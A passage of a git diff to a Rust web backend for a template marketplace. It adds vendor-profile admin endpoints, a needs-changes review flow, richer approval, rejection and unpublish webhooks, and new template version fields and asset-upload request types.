-    let detail = serde_json::json!({
-        "template": template,
-        "versions": versions,
-        "reviews": reviews,
+    let vendor_profile = db::marketplace::get_vendor_profile_by_creator(
+        pg_pool.get_ref(),
+        &template.creator_user_id,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+    .unwrap_or_else(|| {
+        models::MarketplaceVendorProfile::default_for_creator(&template.creator_user_id)
     });
 
+    let mut detail = serde_json::to_value(&template).map_err(|err| {
+        JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+    })?;
+    detail["template"] = serde_json::to_value(template).map_err(|err| {
+        JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+    })?;
+    detail["versions"] = serde_json::to_value(versions).map_err(|err| {
+        JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+    })?;
+    detail["reviews"] = serde_json::to_value(reviews).map_err(|err| {
+        JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+    })?;
+    detail["vendor_profile"] = serde_json::to_value(vendor_profile).map_err(|err| {
+        JsonResponse::<serde_json::Value>::build().internal_server_error(err.to_string())
+    })?;
+
     Ok(JsonResponse::<serde_json::Value>::build()
         .set_item(detail)
         .ok("OK"))
@@ -64,6 +88,12 @@ pub async fn detail_handler(
 pub struct AdminDecisionRequest {
     pub decision: String, // approved|rejected|needs_changes
     pub reason: Option<String>,
+    pub verifications: Option<serde_json::Value>,
+}
+
+#[derive(serde::Deserialize, Debug)]
+pub struct AdminReviewReasonRequest {
+    pub reason: Option<String>,
 }
 
 #[tracing::instrument(name = "Approve template (admin)", skip_all)]
@@ -84,6 +114,7 @@ pub async fn approve_handler(
         &admin.id,
         "approved",
         req.reason.as_deref(),
+        req.verifications.as_ref(),
     )
     .await
     .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
@@ -103,6 +134,20 @@ pub async fn approve_handler(
             JsonResponse::<serde_json::Value>::build().not_found("Template not found")
         })?;
 
+    // Fetch the latest version so the webhook can federate the stack_definition
+    // (compose) to the User Service cache — without it, /applications serves a
+    // null definition and installs produce an empty compose. Best-effort: a
+    // missing version must not block approval.
+    let latest_version = db::marketplace::get_latest_version(pg_pool.get_ref(), id)
+        .await
+        .unwrap_or_else(|err| {
+            tracing::warn!(
+                "Failed to load latest version for webhook federation: {}",
+                err
+            );
+            None
+        });
+
     // Send webhook asynchronously (non-blocking)
     // Don't fail the approval if webhook send fails - template is already approved
     let template_clone = template.clone();
@@ -114,10 +159,11 @@ pub async fn approve_handler(
                     tracing::info_span!("send_approval_webhook", template_id = %template_clone.id);
 
                 if let Err(e) = sender
-                    .send_template_approved(
+                    .send_template_published(
                         &template_clone,
                         &template_clone.creator_user_id,
                         template_clone.category_code.clone(),
+                        latest_version.as_ref(),
                     )
                     .instrument(span)
                     .await
@@ -154,6 +200,7 @@ pub async fn reject_handler(
         &admin.id,
         "rejected",
         req.reason.as_deref(),
+        req.verifications.as_ref(),
     )
     .await
     .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
@@ -162,18 +209,35 @@ pub async fn reject_handler(
         return Err(JsonResponse::<serde_json::Value>::build().bad_request("Not updated"));
     }
 
+    let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to fetch template for rejection webhook: {:?}", err);
+            JsonResponse::<serde_json::Value>::build().internal_server_error(err)
+        })?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
     // Send webhook asynchronously (non-blocking)
     // Don't fail the rejection if webhook send fails - template is already rejected
-    let template_id = id.to_string();
+    let template_clone = template.clone();
+    let review_reason = req.reason.clone();
     tokio::spawn(async move {
         match WebhookSenderConfig::from_env() {
             Ok(config) => {
                 let sender = MarketplaceWebhookSender::new(config);
-                let span =
-                    tracing::info_span!("send_rejection_webhook", template_id = %template_id);
+                let span = tracing::info_span!(
+                    "send_rejection_webhook",
+                    template_id = %template_clone.id
+                );
 
                 if let Err(e) = sender
-                    .send_template_rejected(&template_id)
+                    .send_template_review_rejected(
+                        &template_clone,
+                        &template_clone.creator_user_id,
+                        review_reason.as_deref(),
+                    )
                     .instrument(span)
                     .await
                 {
@@ -191,6 +255,78 @@ pub async fn reject_handler(
     Ok(JsonResponse::<serde_json::Value>::build().ok("Rejected"))
 }
 
+#[tracing::instrument(name = "Mark template as needs changes (admin)", skip_all)]
+#[post("/{id}/needs-changes")]
+pub async fn needs_changes_handler(
+    admin: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+    body: web::Json<AdminReviewReasonRequest>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let id = uuid::Uuid::parse_str(&path.into_inner().0)
+        .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?;
+    let req = body.into_inner();
+
+    let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    if template.status != "submitted" && template.status != "under_review" {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("Template cannot be marked as needs_changes from its current status"));
+    }
+
+    let updated = db::marketplace::admin_decide(
+        pg_pool.get_ref(),
+        &id,
+        &admin.id,
+        "needs_changes",
+        req.reason.as_deref(),
+        None,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+
+    if !updated {
+        return Err(JsonResponse::<serde_json::Value>::build().bad_request("Not updated"));
+    }
+
+    let template_clone = template.clone();
+    let review_reason = req.reason.clone();
+    tokio::spawn(async move {
+        match WebhookSenderConfig::from_env() {
+            Ok(config) => {
+                let sender = MarketplaceWebhookSender::new(config);
+                let span = tracing::info_span!(
+                    "send_needs_changes_webhook",
+                    template_id = %template_clone.id
+                );
+
+                if let Err(e) = sender
+                    .send_template_needs_changes(
+                        &template_clone,
+                        &template_clone.creator_user_id,
+                        review_reason.as_deref(),
+                        "Update the template based on the review feedback and resubmit it for review.",
+                    )
+                    .instrument(span)
+                    .await
+                {
+                    tracing::warn!("Failed to send template needs-changes webhook: {:?}", e);
+                }
+            }
+            Err(e) => {
+                tracing::warn!("Webhook sender config not available: {}", e);
+            }
+        }
+    });
+
+    Ok(JsonResponse::<serde_json::Value>::build().ok("Needs changes requested"))
+}
+
 #[derive(serde::Deserialize, Debug)]
 pub struct UnapproveRequest {
     pub reason: Option<String>,
@@ -208,31 +344,39 @@ pub async fn unapprove_handler(
         .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?;
     let req = body.into_inner();
 
-    let updated = db::marketplace::admin_unapprove(
-        pg_pool.get_ref(),
-        &id,
-        &admin.id,
-        req.reason.as_deref(),
-    )
-    .await
-    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+    let updated =
+        db::marketplace::admin_unapprove(pg_pool.get_ref(), &id, &admin.id, req.reason.as_deref())
+            .await
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
 
     if !updated {
         return Err(JsonResponse::<serde_json::Value>::build()
             .bad_request("Template is not approved or not found"));
     }
 
-    // Send webhook to remove from marketplace (same as rejection - deactivates product)
-    let template_id = id.to_string();
+    let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to fetch template for unpublish webhook: {:?}", err);
+            JsonResponse::<serde_json::Value>::build().internal_server_error(err)
+        })?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    // Send webhook to unpublish from marketplace while preserving subscription state
+    let template_clone = template.clone();
     tokio::spawn(async move {
         match WebhookSenderConfig::from_env() {
             Ok(config) => {
                 let sender = MarketplaceWebhookSender::new(config);
-                let span =
-                    tracing::info_span!("send_unapproval_webhook", template_id = %template_id);
+                let span = tracing::info_span!(
+                    "send_unapproval_webhook",
+                    template_id = %template_clone.id
+                );
 
                 if let Err(e) = sender
-                    .send_template_rejected(&template_id)
+                    .send_template_unpublished(&template_clone, &template_clone.creator_user_id)
                     .instrument(span)
                     .await
                 {
@@ -245,7 +389,8 @@ pub async fn unapprove_handler(
         }
     });
 
-    Ok(JsonResponse::<serde_json::Value>::build().ok("Template unapproved and hidden from marketplace"))
+    Ok(JsonResponse::<serde_json::Value>::build()
+        .ok("Template unapproved and hidden from marketplace"))
 }
 
 #[tracing::instrument(name = "Security scan template (admin)", skip_all)]
@@ -301,12 +446,8 @@ pub async fn security_scan_handler(
         if report.overall_passed {
             verif_patch["security_reviewed"] = serde_json::Value::Bool(true);
         }
-        if let Err(e) = db::marketplace::update_verifications(
-            pg_pool.get_ref(),
-            &id,
-            verif_patch,
-        )
-        .await
+        if let Err(e) =
+            db::marketplace::update_verifications(pg_pool.get_ref(), &id, verif_patch).await
         {
             tracing::warn!("Failed to auto-set verifications after scan: {}", e);
         }
@@ -400,6 +541,198 @@ pub async fn pricing_handler(
     }
 }
 
+#[derive(serde::Deserialize, Debug)]
+pub struct AdminVendorProfileRequest {
+    pub verification_status: Option<String>,
+    pub onboarding_status: Option<String>,
+    pub payouts_enabled: Option<bool>,
+    pub payout_provider: Option<String>,
+    pub payout_account_ref: Option<String>,
+    pub metadata: Option<serde_json::Value>,
+}
+
+fn validate_vendor_status(
+    field_name: &str,
+    value: Option<&str>,
+    allowed: &[&str],
+) -> Result<(), actix_web::Error> {
+    if let Some(value) = value {
+        if !allowed.contains(&value) {
+            return Err(
+                JsonResponse::<serde_json::Value>::build().bad_request(format!(
+                    "Invalid {} '{}'. Allowed values: {}",
+                    field_name,
+                    value,
+                    allowed.join(", ")
+                )),
+            );
+        }
+    }
+
+    Ok(())
+}
+
+#[tracing::instrument(name = "Admin update vendor profile", skip_all)]
+#[patch("/{id}/vendor-profile")]
+pub async fn update_vendor_profile_handler(
+    _admin: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+    body: web::Json<AdminVendorProfileRequest>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let id = uuid::Uuid::parse_str(&path.into_inner().0)
+        .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?;
+
+    let req = body.into_inner();
+
+    if req.verification_status.is_none()
+        && req.onboarding_status.is_none()
+        && req.payouts_enabled.is_none()
+        && req.payout_provider.is_none()
+        && req.payout_account_ref.is_none()
+        && req.metadata.is_none()
+    {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("No vendor profile fields provided"));
+    }
+
+    validate_vendor_status(
+        "verification_status",
+        req.verification_status.as_deref(),
+        ALLOWED_VENDOR_VERIFICATION_STATUSES,
+    )?;
+    validate_vendor_status(
+        "onboarding_status",
+        req.onboarding_status.as_deref(),
+        ALLOWED_VENDOR_ONBOARDING_STATUSES,
+    )?;
+
+    if let Some(metadata) = req.metadata.as_ref() {
+        if !metadata.is_object() {
+            return Err(JsonResponse::<serde_json::Value>::build()
+                .bad_request("metadata must be a JSON object"));
+        }
+    }
+
+    let template = db::marketplace::get_by_id(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    db::marketplace::upsert_vendor_profile(
+        pg_pool.get_ref(),
+        &template.creator_user_id,
+        req.verification_status.as_deref(),
+        req.onboarding_status.as_deref(),
+        req.payouts_enabled,
+        req.payout_provider.as_deref(),
+        req.payout_account_ref.as_deref(),
+        req.metadata,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+
+    Ok(JsonResponse::<serde_json::Value>::build().ok("Vendor profile updated"))
+}
+
+/// `PATCH /api/admin/vendors/{creator_user_id}/vendor-profile`
+///
+/// Same as the template-scoped endpoint but addressed directly by `creator_user_id`,
+/// allowing vendor profile updates when the vendor has no approved template yet
+/// or when the product-bridge mapping is unavailable in the admin UI.
+#[tracing::instrument(name = "Admin update vendor profile by creator id", skip_all)]
+#[patch("/{creator_user_id}/vendor-profile")]
+pub async fn update_vendor_profile_by_creator_handler(
+    _admin: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+    body: web::Json<AdminVendorProfileRequest>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let creator_user_id = path.into_inner().0;
+    let req = body.into_inner();
+
+    if req.verification_status.is_none()
+        && req.onboarding_status.is_none()
+        && req.payouts_enabled.is_none()
+        && req.payout_provider.is_none()
+        && req.payout_account_ref.is_none()
+        && req.metadata.is_none()
+    {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("No vendor profile fields provided"));
+    }
+
+    validate_vendor_status(
+        "verification_status",
+        req.verification_status.as_deref(),
+        ALLOWED_VENDOR_VERIFICATION_STATUSES,
+    )?;
+    validate_vendor_status(
+        "onboarding_status",
+        req.onboarding_status.as_deref(),
+        ALLOWED_VENDOR_ONBOARDING_STATUSES,
+    )?;
+
+    if let Some(metadata) = req.metadata.as_ref() {
+        if !metadata.is_object() {
+            return Err(JsonResponse::<serde_json::Value>::build()
+                .bad_request("metadata must be a JSON object"));
+        }
+    }
+
+    db::marketplace::upsert_vendor_profile(
+        pg_pool.get_ref(),
+        &creator_user_id,
+        req.verification_status.as_deref(),
+        req.onboarding_status.as_deref(),
+        req.payouts_enabled,
+        req.payout_provider.as_deref(),
+        req.payout_account_ref.as_deref(),
+        req.metadata,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+
+    Ok(JsonResponse::<serde_json::Value>::build().ok("Vendor profile updated"))
+}
+
+/// List all marketplace vendor profiles for the admin vendor overview.
+/// Returns every profile row regardless of whether the vendor has published products,
+/// so the admin UI can surface vendors who are onboarding or have only submitted templates.
+#[tracing::instrument(name = "Admin list vendor profiles", skip_all)]
+#[get("")]
+pub async fn list_vendor_profiles_handler(
+    _admin: web::ReqData<Arc<models::User>>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    db::marketplace::admin_list_vendor_profiles(pg_pool.get_ref())
+        .await
+        .map_err(|err| {
+            JsonResponse::<Vec<models::MarketplaceVendorProfile>>::build()
+                .internal_server_error(err)
+        })
+        .map(|profiles| {
+            let items: Vec<serde_json::Value> = profiles
+                .into_iter()
+                .map(|p| {
+                    serde_json::json!({
+                        "creator_user_id":     p.creator_user_id,
+                        "public_slug":         p.public_slug,
+                        "display_name":        p.display_name,
+                        "verification_status": p.verification_status,
+                        "onboarding_status":   p.onboarding_status,
+                        "payouts_enabled":     p.payouts_enabled,
+                        "created_at":          p.created_at,
+                        "updated_at":          p.updated_at,
+                    })
+                })
+                .collect();
+            JsonResponse::build().set_list(items).ok("OK")
+        })
+}
+
 /// Request body for PATCH /{id}/verifications.
 /// Each key is a boolean flag. Unknown keys are accepted and stored as-is.
 /// Omitted keys are not touched (partial update via JSONB `||`).
@@ -453,9 +786,8 @@ pub async fn update_verifications_handler(
     }
 
     if patch.is_empty() {
-        return Err(
-            JsonResponse::<serde_json::Value>::build().bad_request("No verification flags provided")
-        );
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("No verification flags provided"));
     }
 
     let updated = db::marketplace::update_verifications(
diff --git a/src/routes/marketplace/creator.rs b/src/routes/marketplace/creator.rs
index e14a23a1..f5441ad2 100644
--- a/src/routes/marketplace/creator.rs
+++ b/src/routes/marketplace/creator.rs
@@ -1,11 +1,63 @@
+use crate::configuration::Settings;
+use crate::connectors::{MarketplaceWebhookSender, WebhookSenderConfig};
 use crate::db;
 use crate::helpers::JsonResponse;
 use crate::models;
-use actix_web::{get, post, put, web, Responder, Result};
+use crate::services;
+use actix_web::{get, patch, post, put, web, HttpResponse, Responder, Result};
 use sqlx::PgPool;
 use std::sync::Arc;
+use tracing::Instrument;
 use uuid;
 
+#[derive(Debug, serde::Deserialize)]
+pub struct AnalyticsQuery {
+    pub period: Option<String>,
+    #[serde(rename = "startDate")]
+    pub start_date: Option<String>,
+    #[serde(rename = "endDate")]
+    pub end_date: Option<String>,
+    #[serde(rename = "templateId")]
+    pub template_id: Option<String>,
+}
+
+fn build_vendor_profile_status_item(
+    creator_user_id: &str,
+    template_id: Option<uuid::Uuid>,
+    vendor_profile: models::MarketplaceVendorProfile,
+) -> serde_json::Value {
+    let payout_ready = vendor_profile.verification_status == "verified"
+        && vendor_profile.onboarding_status == "completed"
+        && vendor_profile.payouts_enabled
+        && vendor_profile.payout_provider.is_some();
+
+    let mut item = serde_json::json!({
+        "creator_user_id": creator_user_id,
+        "payout_ready": payout_ready,
+        "vendor_profile": {
+            "creator_user_id": vendor_profile.creator_user_id,
+            "verification_status": vendor_profile.verification_status,
+            "onboarding_status": vendor_profile.onboarding_status,
+            "payouts_enabled": vendor_profile.payouts_enabled,
+            "payout_provider": vendor_profile.payout_provider,
+            "public_slug": vendor_profile.public_slug,
+            "display_name": vendor_profile.display_name,
+            "bio": vendor_profile.bio,
+            "avatar_url": vendor_profile.avatar_url,
+            "website_url": vendor_profile.website_url,
+            "metadata": vendor_profile.metadata,
+            "created_at": vendor_profile.created_at,
+            "updated_at": vendor_profile.updated_at
+        }
+    });
+
+    if let Some(template_id) = template_id {
+        item["template_id"] = serde_json::Value::String(template_id.to_string());
+    }
+
+    item
+}
+
 #[derive(Debug, serde::Deserialize)]
 pub struct CreateTemplateRequest {
     pub name: String,
@@ -18,12 +70,25 @@ pub struct CreateTemplateRequest {
     pub version: Option<String>,
     pub stack_definition: Option<serde_json::Value>,
     pub definition_format: Option<String>,
+    pub changelog: Option<String>,
+    pub config_files: Option<serde_json::Value>,
+    pub assets: Option<serde_json::Value>,
+    pub seed_jobs: Option<serde_json::Value>,
+    pub post_deploy_hooks: Option<serde_json::Value>,
+    pub update_mode_capabilities: Option<serde_json::Value>,
+    pub confirm_no_secrets: Option<bool>,
     /// Pricing: "free", "one_time", or "subscription"
     pub plan_type: Option<String>,
+    pub required_plan_name: Option<String>,
     /// Price amount (e.g. 9.99). Ignored when plan_type is "free"
     pub price: Option<f64>,
     /// ISO 4217 currency code, default "USD"
     pub currency: Option<String>,
+    pub infrastructure_requirements: Option<serde_json::Value>,
+    /// Public ports: [{"name": "web", "port": 8080}, ...]
+    pub public_ports: Option<serde_json::Value>,
+    /// Vendor's page URL
+    pub vendor_url: Option<String>,
 }
 
 #[tracing::instrument(name = "Create draft template", skip_all)]
@@ -37,18 +102,32 @@ pub async fn create_handler(
 
     let tags = req.tags.unwrap_or(serde_json::json!([]));
     let tech_stack = req.tech_stack.unwrap_or(serde_json::json!({}));
+    let infrastructure_requirements = req
+        .infrastructure_requirements
+        .unwrap_or(serde_json::json!({}));
+    let config_files = req.config_files.clone().unwrap_or(serde_json::json!([]));
+    let assets = req.assets.clone().unwrap_or(serde_json::json!([]));
+    let seed_jobs = req.seed_jobs.clone().unwrap_or(serde_json::json!([]));
+    let post_deploy_hooks = req
+        .post_deploy_hooks
+        .clone()
+        .unwrap_or(serde_json::json!([]));
+    let update_mode_capabilities = req.update_mode_capabilities.clone();
 
     let creator_name = format!("{} {}", user.first_name, user.last_name);
 
     // Normalize pricing: plan_type "free" forces price to 0
     let billing_cycle = req.plan_type.unwrap_or_else(|| "free".to_string());
-    let price = if billing_cycle == "free" { 0.0 } else { req.price.unwrap_or(0.0) };
+    let price = if billing_cycle == "free" {
+        0.0
+    } else {
+        req.price.unwrap_or(0.0)
+    };
     let currency = req.currency.unwrap_or_else(|| "USD".to_string());
 
-    // Check if template with this slug already exists for this user
     let existing = db::marketplace::get_by_slug_and_user(pg_pool.get_ref(), &req.slug, &user.id)
         .await
-        .ok();
+        .map_err(|err| JsonResponse::<models::StackTemplate>::build().internal_server_error(err))?;
 
     let template = if let Some(existing_template) = existing {
         // Update existing template
@@ -62,9 +141,13 @@ pub async fn create_handler(
             req.category_code.as_deref(),
             Some(tags.clone()),
             Some(tech_stack.clone()),
+            Some(infrastructure_requirements.clone()),
             Some(price),
             Some(billing_cycle.as_str()),
+            req.required_plan_name.as_deref(),
             Some(currency.as_str()),
+            req.public_ports.clone(),
+            req.vendor_url.as_deref(),
         )
         .await
         .map_err(|err| JsonResponse::<models::StackTemplate>::build().internal_server_error(err))?;
@@ -97,32 +180,47 @@ pub async fn create_handler(
             req.category_code.as_deref(),
             tags,
             tech_stack,
+            infrastructure_requirements,
             price,
             &billing_cycle,
+            req.required_plan_name.as_deref(),
             &currency,
+            req.public_ports.clone(),
+            req.vendor_url.as_deref(),
         )
         .await
-        .map_err(|err| {
-            // If error message indicates duplicate slug, return 409 Conflict
-            if err.contains("already in use") {
-                return JsonResponse::<models::StackTemplate>::build().conflict(err);
+        .map_err(|err| match err {
+            db::marketplace::CreateDraftError::DuplicateSlug { slug } => {
+                JsonResponse::<models::StackTemplate>::build().conflict(format!(
+                    "Template slug '{}' is already in use. Please choose a different slug.",
+                    slug
+                ))
+            }
+            db::marketplace::CreateDraftError::Internal => {
+                JsonResponse::<models::StackTemplate>::build()
+                    .internal_server_error("Internal Server Error")
             }
-            JsonResponse::<models::StackTemplate>::build().internal_server_error(err)
         })?
     };
 
     // Optional initial version
     if let Some(def) = req.stack_definition {
         let version = req.version.unwrap_or("1.0.0".to_string());
-        let _ = db::marketplace::set_latest_version(
+        db::marketplace::upsert_latest_version(
             pg_pool.get_ref(),
             &template.id,
             &version,
             def,
             req.definition_format.as_deref(),
-            None,
+            req.changelog.as_deref(),
+            config_files,
+            assets,
+            seed_jobs,
+            post_deploy_hooks,
+            update_mode_capabilities,
         )
-        .await;
+        .await
+        .map_err(|err| JsonResponse::<models::StackTemplate>::build().bad_request(err))?;
     }
 
     Ok(JsonResponse::build()
@@ -138,9 +236,155 @@ pub struct UpdateTemplateRequest {
     pub category_code: Option<String>,
     pub tags: Option<serde_json::Value>,
     pub tech_stack: Option<serde_json::Value>,
+    pub version: Option<String>,
+    pub stack_definition: Option<serde_json::Value>,
+    pub definition_format: Option<String>,
+    pub changelog: Option<String>,
+    pub config_files: Option<serde_json::Value>,
+    pub assets: Option<serde_json::Value>,
+    pub seed_jobs: Option<serde_json::Value>,
+    pub post_deploy_hooks: Option<serde_json::Value>,
+    pub update_mode_capabilities: Option<serde_json::Value>,
+    pub confirm_no_secrets: Option<bool>,
+    pub infrastructure_requirements: Option<serde_json::Value>,
     pub plan_type: Option<String>,
+    pub required_plan_name: Option<String>,
     pub price: Option<f64>,
     pub currency: Option<String>,
+    pub public_ports: Option<serde_json::Value>,
+    pub vendor_url: Option<String>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+pub struct PresignAssetUploadRequest {
+    pub filename: String,
+    pub sha256: String,
+    pub size: i64,
+    pub content_type: Option<String>,
+    pub mount_path: Option<String>,
+    pub fetch_target: Option<String>,
+    pub decompress: Option<bool>,
+    pub executable: Option<bool>,
+    pub immutable: Option<bool>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+pub struct FinalizeAssetRequest {
+    pub storage_provider: Option<String>,
+    pub bucket: String,
+    pub key: String,
+    pub filename: String,
+    pub sha256: String,
+    pub size: i64,
+    pub content_type: Option<String>,
+    pub mount_path: Option<String>,
+    pub fetch_target: Option<String>,
+    pub decompress: Option<bool>,
+    pub executable: Option<bool>,
+    pub immutable: Option<bool>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+pub struct PresignAssetDownloadRequest {
+    pub key: String,
+}
+
+#[derive(Debug, serde::Deserialize)]
+pub struct SubmitTemplateRequest {
+    pub confirm_no_secrets: Option<bool>,
+}
+
+fn ensure_no_secrets_confirmation(confirmed: Option<bool>) -> Result<(), actix_web::Error> {
+    if confirmed.unwrap_or(false) {
+        Ok(())
+    } else {
+        Err(JsonResponse::<serde_json::Value>::build().bad_request(
+            "Confirm that the template contains no secrets or API keys before submitting",
+        ))
+    }
+}
+
+fn ensure_template_owner(
+    template: &models::StackTemplate,
+    user_id: &str,
+) -> Result<(), actix_web::Error> {
+    if template.creator_user_id == user_id {
+        Ok(())
+    } else {
+        Err(JsonResponse::<serde_json::Value>::build().forbidden("Forbidden"))
+    }
+}
+
+fn ensure_template_assets_editable(
+    template: &models::StackTemplate,
+) -> Result<(), actix_web::Error> {
+    if matches!(
+        template.status.as_str(),
+        "draft" | "rejected" | "needs_changes"
+    ) {
+        Ok(())
+    } else {
+        Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("Template assets are read-only in the current status"))
+    }
+}
+
+fn map_storage_error(error: services::MarketplaceAssetStorageError) -> actix_web::Error {
+    match error {
+        services::MarketplaceAssetStorageError::NotConfigured => {
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Marketplace asset storage is not configured")
+        }
+        other => JsonResponse::<serde_json::Value>::build().bad_request(other.to_string()),
+    }
+}
+
+fn normalize_optional_text(value: Option<String>) -> Option<String> {
+    value.and_then(|entry| {
+        let trimmed = entry.trim().to_string();
+        if trimmed.is_empty() {
+            None
+        } else {
+            Some(trimmed)
+        }
+    })
+}
+
+fn build_marketplace_asset(
+    request: FinalizeAssetRequest,
+) -> Result<models::MarketplaceAsset, actix_web::Error> {
+    if request.size <= 0 {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("Asset size must be a positive integer"));
+    }
+
+    let bucket = request.bucket.trim().to_string();
+    let key = request.key.trim().to_string();
+    let filename = request.filename.trim().to_string();
+    let sha256 = request.sha256.trim().to_string();
+
+    if bucket.is_empty() || key.is_empty() || filename.is_empty() || sha256.is_empty() {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("bucket, key, filename, and sha256 are required"));
+    }
+
+    Ok(models::MarketplaceAsset {
+        storage_provider: request
+            .storage_provider
+            .unwrap_or_else(|| services::MARKETPLACE_ASSET_STORAGE_PROVIDER.to_string()),
+        bucket,
+        key,
+        filename,
+        sha256,
+        size: request.size,
+        content_type: normalize_optional_text(request.content_type)
+            .unwrap_or_else(|| "application/octet-stream".to_string()),
+        mount_path: normalize_optional_text(request.mount_path),
+        fetch_target: normalize_optional_text(request.fetch_target),
+        decompress: request.decompress.unwrap_or(false),
+        executable: request.executable.unwrap_or(false),
+        immutable: request.immutable.unwrap_or(true),
+    })
 }
 
 #[tracing::instrument(name = "Update template metadata", skip_all)]
@@ -168,6 +412,7 @@ pub async fn update_handler(
     }
 
     let req = body.into_inner();
+    let infrastructure_requirements = req.infrastructure_requirements.clone();
 
     // Normalize pricing: plan_type "free" forces price to 0
     let price = match req.plan_type.as_deref() {
@@ -184,13 +429,88 @@ pub async fn update_handler(
         req.category_code.as_deref(),
         req.tags,
         req.tech_stack,
+        infrastructure_requirements,
         price,
         req.plan_type.as_deref(),
+        req.required_plan_name.as_deref(),
         req.currency.as_deref(),
+        req.public_ports.clone(),
+        req.vendor_url.as_deref(),
     )
     .await
     .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err))?;
 
+    if req.stack_definition.is_some()
+        || req.version.is_some()
+        || req.changelog.is_some()
+        || req.config_files.is_some()
+        || req.assets.is_some()
+        || req.seed_jobs.is_some()
+        || req.post_deploy_hooks.is_some()
+        || req.update_mode_capabilities.is_some()
+    {
+        let latest_version = db::marketplace::get_latest_version_by_template(pg_pool.get_ref(), id)
+            .await
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err))?;
+        let current_version = latest_version.unwrap_or_default();
+        let version = req
+            .version
+            .clone()
+            .unwrap_or_else(|| current_version.version.clone());
+        let stack_definition = req
+            .stack_definition
+            .clone()
+            .unwrap_or_else(|| current_version.stack_definition.clone());
+        let config_files = req
+            .config_files
+            .clone()
+            .unwrap_or_else(|| current_version.config_files.clone());
+        let assets = req
+            .assets
+            .clone()
+            .unwrap_or_else(|| current_version.assets.clone());
+        let seed_jobs = req
+            .seed_jobs
+            .clone()
+            .unwrap_or_else(|| current_version.seed_jobs.clone());
+        let post_deploy_hooks = req
+            .post_deploy_hooks
+            .clone()
+            .unwrap_or_else(|| current_version.post_deploy_hooks.clone());
+        let definition_format = req
+            .definition_format
+            .as_deref()
+            .or(current_version.definition_format.as_deref());
+        let changelog = req
+            .changelog
+            .as_deref()
+            .or(current_version.changelog.as_deref());
+        let update_mode_capabilities = req
+            .update_mode_capabilities
+            .clone()
+            .or(current_version.update_mode_capabilities.clone());
+
+        db::marketplace::upsert_latest_version(
+            pg_pool.get_ref(),
+            &id,
+            if version.is_empty() {
+                "1.0.0"
+            } else {
+                version.as_str()
+            },
+            stack_definition,
+            definition_format,
+            changelog,
+            config_files,
+            assets,
+            seed_jobs,
+            post_deploy_hooks,
+            update_mode_capabilities,
+        )
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().bad_request(err))?;
+    }
+
     if updated {
         Ok(JsonResponse::<serde_json::Value>::build().ok("Updated"))
     } else {
@@ -198,12 +518,175 @@ pub async fn update_handler(
     }
 }
 
+#[tracing::instrument(name = "Presign marketplace asset upload", skip_all)]
+#[post("/{id}/assets/presign")]
+pub async fn presign_asset_upload_handler(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+    settings: web::Data<Settings>,
+    body: web::Json<PresignAssetUploadRequest>,
+) -> Result<web::Json<crate::helpers::json::JsonResponse<serde_json::Value>>> {
+    let id = uuid::Uuid::parse_str(&path.into_inner().0)
